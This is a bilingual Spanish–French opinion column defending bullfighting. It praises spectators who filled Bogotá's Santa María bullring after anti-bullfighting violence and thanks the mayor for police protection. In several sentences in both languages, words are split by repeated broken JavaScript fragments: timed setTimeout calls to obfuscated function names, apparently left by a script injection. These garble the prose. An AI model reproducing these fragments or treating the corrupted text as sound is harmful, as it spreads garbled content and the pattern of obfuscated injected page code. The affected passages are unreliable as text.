VALOR EN EL RUEDO, VALOR EN LOS TENDIDOSCOURAGE EN PISTE, COURAGE SUR LES GRADINS

Menos mal. Había cierto temor acerca de la respuesta de los aficionados bogotanos, en particular, y colombianos en general, para la corrida del pasado domingo, segunda de la denominada, y con razón, Feria de la Libertad. Había temor porque no era plato de gusto volver a tener que pasar por las tribulaciones que los aficionados tuvieron que soportar a la entrada y a la salida de la plaza en la vuelta de los toros a la Santa María de Bogotá.

Insultos, agresiones físicas y verbales, y un clima de amenazante inseguridad hicieron pasar un mal trago a muchos de los aficionados que acudieron hasta poner el “No hay billetes” en las taquillas de la plaza.

¿Qué iba a ocurrir en la segunda corrida programada? ¿Acudiría la gente o se echarían atrás por miedo a la violencia antitaurina? La cosa había sido tan grave que el propio alcalde de Bogotá, Enrique Peñalosa, haciendo uso del sentido común y del sentido político, pese a su declarado antitaurinismo, prohibió las manifestaciones de los “anti” en los aledaños de la Santa María y prometió garantizar la entrada a la plaza de los espectadores con un despliegue policial y medidas de control que hicieran inviable lo ocurrido hace dos domingos.

Así y todo, tenía yo mis dudas de que la gente no se fuera a retraer de asistir a los toros permitiendo con ello otra victoria de la intolerancia y el matonismo de los censores taurófobos. Sin embargo, los hechos han venido a demostrar que mis temores eran infundados, porque el público acudió en masa y la Santa María registró otra magnífica entrada, con lleno en sus tendidos, aunque no se colgara el cartelito de la vez anterior. En esta ocasión, el valor no sólo estuvo en el ruedo, sino también en los tendidos. Valor y conciencia. Porque, como días antes había manifestado Felipe Negret –principal responsable de que los toros hayan vuelto al coso bogotano–, no sólo se dirimía una cuestión puramente taurina, sino que el asunto entraba de lleno en las competencias de la libertad de las personas. Nadie tiene derecho a prohibir a otros que ejerzan su libertad de asistir a un espectáculo absolutamente legal. Esa actitud autoritaria y fanática del animalismo está reñida con la tolerancia que debe presidir la convivencia en cualquier sistema democrático. No se pueden exigir derechos al tiempo de conculcar el derecho de los adversarios; esto es: no se pueden utilizar las reglas del juego a conveniencia, acogiéndose a ellas cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando interesa y negándoselas a los otros cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando conviene. No se trata, pues, de un debate entre toros sí o toros no; es algo mucho más profundo que afecta a las raíces mismas de la Democracia.

El pasado domingo, en la plaza Santa María de Bogotá, no sólo ganó el toreo, sino también la cordura, la justicia, la libertad y el Estado de derecho. Y hay que agradecer al alcalde no sólo las medidas tomadas contra los “anti”, sino el despliegue de fuerzas policiales –casi triplicaron las del domingo anterior– que garantizaron el derecho de aquellos que habían decidido ir a los toros, sin experimentar ningún sobresalto.

Ahora el sobresalto reside en la decisión que la Corte Constitucional habrá tomado el lunes (cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando escribo estas líneas) para garantizar o prohibir las corridas de toros en todo el territorio colombiano. Esperemos de nuevo que impere la cordura. Mientras tanto (ustedes ya sabrán el resultado de la decisión), no nos queda otra que pasar el trago. Vivimos un tiempo de sustos y así hay que aceptarlo y tomar como ejemplo a la afición bogotana que volvió a llenar los tendidos de su plaza, pese a los disturbios anteriores, con un claro mensaje: ¡Miles de colombianos queremos toros!

Heureusement. Il y avait des craintes concernant la réponse des aficionados de Bogota en particulier et de la Colombie en général, seconde de celle que l’on avait appelée avec raison la Feria de la Liberté. Il existait des craintes car ce n’était pas vraiment plaisant d’avoir à nouveau à affronter les tribulations subies par les aficionados à l’entrée et à la sortie des arènes pour le retour des corridas aux arènes de Santa Maria de Bogota.

Des insultes, des agressions physiques et verbales, et un climat de menaçante insécurité firent passer de mauvais moments à de nombreux aficionados qui permirent aux guichets d’afficher le « no hay billetes ». Qu’allait-il arriver lors de cette deuxième course ? Les gens allaient-ils venir ou renonceraient-ils par peur de la violence des anti-taurins ? La situation avait été si grave que même le maire de la ville, Enrique Peñalosa, faisant preuve de bon sens, malgré son antitaurinisme affiché, a interdit les manifestations des anti aux alentours des arènes et promit d’en garantir l’entrée des spectateurs avec un déploiement et des contrôles qui écarteraient la possibilité que de nouveaux incidents se produisent comme il y a quinze jours.

Malgré tout, j’avais des doutes sur le fait que les gens n’allaient faire marche arrière permettant ainsi une nouvelle victoire de l’intolérance et de la brutalité des censeurs taurophobes. Cependant, les fait ont démontré que mes craintes étaient injustifiées, car il y avait foule aux arènes avec une magnifique entrée à la Santa Maria de Bogota, avec les gradins remplis, même si le « no hay billetes » n’y était pas affiché. Cette fois-ci le courage n’a pas seulement été en piste, mais aussi sur les gradins. Courage et conscience. Car, comme l’avait manifesté quelques jours auparavant Felipe Negret –à qui l’on doit surtout le retour de la corrida à Bogota- il ne s’agissait pas seulement d’une question taurine, mais cette affaire concernait aussi notre liberté en tant qu’êtres humains. Personne n’a le droit d’interdire à quelqu’un qu’il puisse assister à un spectacle absolument légal. Cette attitude autoritaire et fanatique des prétendus défenseurs des bêtes est contraire à la tolérance qui doit régner dans tout système démocratique. On ne peut pas exiger des droits en même temps qu’on veut annuler ceux de ses adversaires ; de ce fait : on ne peut utiliser les règles du jeu à sa convenance, en les utilisant à son profit quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and cela convient et les refusant quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and ce n’est pas le cas. Il ne s’agit donc pas d’un débat pour ou contre la tauromachie, c’est quelque chose de beaucoup plus profond qui touche aux racines mêmes de la Démocratie.

Dimanche dernier, dans les arènes de Santa Maria de Bogota, ce n’est pas seulement la corrida qui a gagné, mais aussi la raison, la justice, la liberté et l’état de droit. Et il faut en remercier le maire, non seulement pour les mesures prises contre les anti, mais pour son déploiement des forces de police –elles ont presque triplé celles du dimanche précédent- qui ont garanti le droit de ceux qui avaient décidé d’aller à la corrida, sans expérimenter aucun soubresaut.

Maintenant le soubresaut peut venir de la décision qu’aura prise la Cour Constitutionnelle lundi (alors que j’écris ces lignes) garantissant ou interdisant la corrida sur l’ensemble du territoire colombien. Souhaitons que de nouveau s’impose la raison. Nous vivons un temps où on est souvent surpris et il faut l’accepter ainsi et prendre comme exemple l’aficion de Bogota qui a rempli à nouveau ses arènes, malgré les événements précédents, avec un message clair : Nous sommes des milliers de Colombiens à défendre la corrida !

Les commentaires sont fermés.